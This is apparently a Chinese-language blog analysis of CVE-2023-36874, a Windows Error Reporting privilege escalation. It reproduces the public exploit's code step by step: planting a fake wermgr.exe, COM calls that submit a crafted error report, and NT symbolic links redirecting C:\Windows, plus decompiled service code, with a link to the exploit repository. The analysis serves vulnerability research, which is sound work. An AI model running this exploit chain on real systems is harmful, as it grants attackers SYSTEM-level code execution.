CVE-2023-36874 Windows错误报告服务本地权限提升漏洞分析
漏洞简介
Windows错误报告服务在提交错误报告前会创建
wermgr.exe
进程,而攻击者使用特殊手法欺骗系统创建伪造的wermgr.exe进程,从而以system权限执行代码。
影响版本
Windows10 1507 *
Windows10 1607 *
Windows10 1809 *
Windows10 21H2 *
Windows10 22H2 *
Windows11 21H2 *
Windows11 22H2 *
WindowsServer 2008 sp2 *
WindowsServer 2008 r2 sp1 * x64 *
WindowsServer2016 *
WindowsServer2019 *
WindowsServer2022 *
危害等级
7.8
∣
H
I
G
H
\textcolor{Red}{7.8 | HIGH}
7.8∣HIGH
漏洞复现
首先在C盘下创建一个目录test\system32,然后将自己写的exe改名为wermgr.exe放进去,这里我是直接使用poc里面添加账户的exe改名为wermgr.exe。
运行EXP之前可以查看当前用户信息
运行EXP后
漏洞分析
【EXP】https://github.com/Wh04m1001/CVE-2023-36874
根据网上给出的POC,可以大致知道执行的流程:
- 创建目录C:\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport。
CreateDirectory(L"C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\MyReport",NULL);
- 从资源中释放错误报告文件MyReport.wer。
HRSRC res =FindResource(hm,MAKEINTRESOURCE(IDR_REPORT1), L"Report");DWORD ReportSize =SizeofResource(hm, res);void* ReportBuff =LoadResource(hm, res);...HANDLE hFile =CreateFile(L"C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\MyReport\\Report.wer", GENERIC_WRITE,0,NULL, OPEN_ALWAYS,0,NULL);if(hFile == INVALID_HANDLE_VALUE){printf("[-] Cannot create report.wer file.\n");return-1;}if(!WriteFile(hFile, ReportBuff, ReportSize,NULL,NULL)){printf("[-] Failed to write to report.wer file.\n");return-1;}
- 创建
IErcLuaSupportUI
接口对象,调用 I E r c L u a S u p p o r t : : G e t W e r S t o r e F a c t o r y ( ) \textcolor{orange}{IErcLuaSupport::GetWerStoreFactory()} IErcLuaSupport::GetWerStoreFactory()构造函数实例化IWerStoreFactory
工厂对象。result =CoCreateInstance(__uuidof(CLSID_IErcLuaSupport),NULL, CLSCTX_LOCAL_SERVER,__uuidof(IErcLuaSupport),(PVOID*)&pIErcLuaSupport);...result = pIErcLuaSupport->Proc3(&pIWerStoreFactory);
- 调用 I W e r S t o r e F a c t o r y : : E n u m e r a t e S t a r t ( ) \textcolor{orange}{IWerStoreFactory::EnumerateStart()} IWerStoreFactory::EnumerateStart()得到
IWerStore
接口对象。result = pIWerStoreFactory->Proc4(&pIWerStore);
- 使用 I W e r C o m S t o r e : : E n u m e r a t e S t a r t ( ) \textcolor{orange}{IWerComStore::EnumerateStart()} IWerComStore::EnumerateStart()开始模拟错误报告。
result = pIWerStore->Proc3();
- 调用 I W e r C o m S t o r e : : L o a d R e p o r t ( ) \textcolor{orange}{IWerComStore::LoadReport()} IWerComStore::LoadReport()加载C:\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport目录下的错误报告,并获得一个错误报告接口
IWerReport
的对象。BSTR report =SysAllocString(L"MyReport");BSTR data =SysAllocString(L"test");result = pIWerStore->Proc6(report,&pIWerReport);
- 为C:\Windows目录创建一个符号链接,指向一个目录C:\test。
pRtlInitUnicodeString(&object, L"\\??\\test");InitializeObjectAttributes(&objAttrDir,&object, OBJ_CASE_INSENSITIVE,NULL,NULL);pNtCreateDirectoryObject(&hObjectdir,0xF000F,&objAttrDir);pRtlInitUnicodeString(&symlink_name, L"Windows");pRtlInitUnicodeString(&path, L"\\GLOBAL??\\C:\\test");InitializeObjectAttributes(&objAttrLink,&symlink_name, OBJ_CASE_INSENSITIVE, hObjectdir,NULL);pNtCreateSymbolicLinkObject(&hSymlinkWindows,0xF0001,&objAttrLink,&path);
- 为ProgramData目录创建一个符号链接,指向目录C:\ProgramData
pRtlInitUnicodeString(&symlink_name, L"ProgramData");pRtlInitUnicodeString(&path, L"\\GLOBAL??\\C:\\Programdata");InitializeObjectAttributes(&objAttrLink,&symlink_name, OBJ_CASE_INSENSITIVE, hObjectdir,NULL);pNtCreateSymbolicLinkObject(&hSymlinkProgramdata,0xF0001,&objAttrLink,&path);
- 为*C:**目录创建一个符号链接,指向**C:\test*目录
pRtlInitUnicodeString(&symlink_name, L"\\??\\C:");pRtlInitUnicodeString(&path, L"\\??\\test");InitializeObjectAttributes(&objAttrLink,&symlink_name, OBJ_CASE_INSENSITIVE,NULL,NULL);pNtCreateSymbolicLinkObject(&hSymlink,0xF0001,&objAttrLink,&path);
- 调用 I W e r C o m R e p o r t : : _ S u b m i t R e p o r t ( ) \textcolor{orange}{IWerComReport::_SubmitReport()} IWerComReport::_SubmitReport(),重点来了。该接口内部会调用 w e r ! W e r p S u b m i t R e p o r t F r o m S t o r e \textcolor{orange}{wer!WerpSubmitReportFromStore} wer!WerpSubmitReportFromStore提交错误报告,然后经历 C R e p o r t H a n d l e I n s t a n c e : : S u b m i t R e p o r t = > C R e p o r t M a n a g e r : : R e p o r t P r o b l e m = > C R e p o r t M a n a g e r : : R e p o r t P r o b l e m O u t O f P r o c e s s = > U t i l L a u n c h W e r M a n a g e r \textcolor{orange}{CReportHandleInstance::SubmitReport\ =>\ CReportManager::ReportProblem\ =>\ CReportManager::ReportProblemOutOfProcess\ =>\ UtilLaunchWerManager } CReportHandleInstance::SubmitReport => CReportManager::ReportProblem => CReportManager::ReportProblemOutOfProcess => UtilLaunchWerManager到达利用点。
__int64 __fastcall UtilLaunchWerManager(constunsigned __int16 **a1, __int64 a2, __int64 a3,void*a4,void**a5,void**a6,unsignedint a7,void**a8){if(GetSystemDirectoryW(Buffer,0x104u)-1>0x102)// 取 C:\Windows\System32 目录{ LastError =GetLastError(); v27 =ERROR_HR_FROM_WIN32(LastError); v12 = v27; v28 = WPP_GLOBAL_Control;if( WPP_GLOBAL_Control ==(HKEY)&WPP_GLOBAL_Control ||((_BYTE)WPP_GLOBAL_Control[7]&1)==0)goto LABEL_38; v29 =0x12i64;goto LABEL_67;} v11 =StringCchCatW(Buffer,0x104ui64, L"\\wermgr.exe");// 拼接成 C:\Windows\System32\wermgr.exe v12 = v11;if( v11 >=0){...if(!InitializeProcThreadAttributeList(0i64,1u,0,&Size)){...} ProcessHeap =GetProcessHeap(); ThreadAttributeHeap =(struct_PROC_THREAD_ATTRIBUTE_LIST*)HeapAlloc(ProcessHeap,0, Size); v10 = ThreadAttributeHeap;if(!ThreadAttributeHeap ){...goto LABEL_37;}if(!InitializeProcThreadAttributeList(ThreadAttributeHeap,1u,0,&Size)){...goto LABEL_53;} v9 =1;if(UpdateProcThreadAttribute(v10,0,0x20002ui64, lpValue,8i64 * a7,0i64,0i64)){ StartupInfo.cb =0x70; v45 = v10;// 创建进程,路径为 C:\windows\system32\wermgr.exeif(CreateProcessW(Buffer, v14,0i64,0i64,2,0x80000u,0i64,0i64,&StartupInfo,&lpProcessInformation)){ v12 =0;}...}}}
注意 C r e a t e P r o c e s s W \textcolor{cornflowerblue}{CreateProcessW} CreateProcessW函数的bInheritHandles
参数大于0,表明新进程会继承父进程的句柄,也就是说子进程和父进程的句柄值是一样的。同时表明父进程句柄的所有权限,子进程同样也有。而错误报告服务运行系统服务中,对应进程名svchost.exe,权限是system。假如能够通过某种方式欺骗服务创建攻击者指定的进程,那自然就可以提权了。### 漏洞利用显然从公开的POC中可以看到,利用的方式是在C盘创建一个test目录,在test里又创建一个system32目录,然后把伪造的wermgr.exe放进去。在调用 I W e r C o m R e p o r t : : _ S u b m i t R e p o r t ( ) \textcolor{orange}{IWerComReport::_SubmitReport()} IWerComReport::_SubmitReport()前,给windows目录创建一个符号链接指向test,这样就可以在系统服务创建C:\Windows\system32\wermgr.exe进程的时候欺骗系统创建C:\test\system32\wermgr.exe进程,从而以system权限执行任意代码。
版权归原作者 飞鸿踏雪(蓝屏选手) 所有, 如有侵权,请联系我们删除。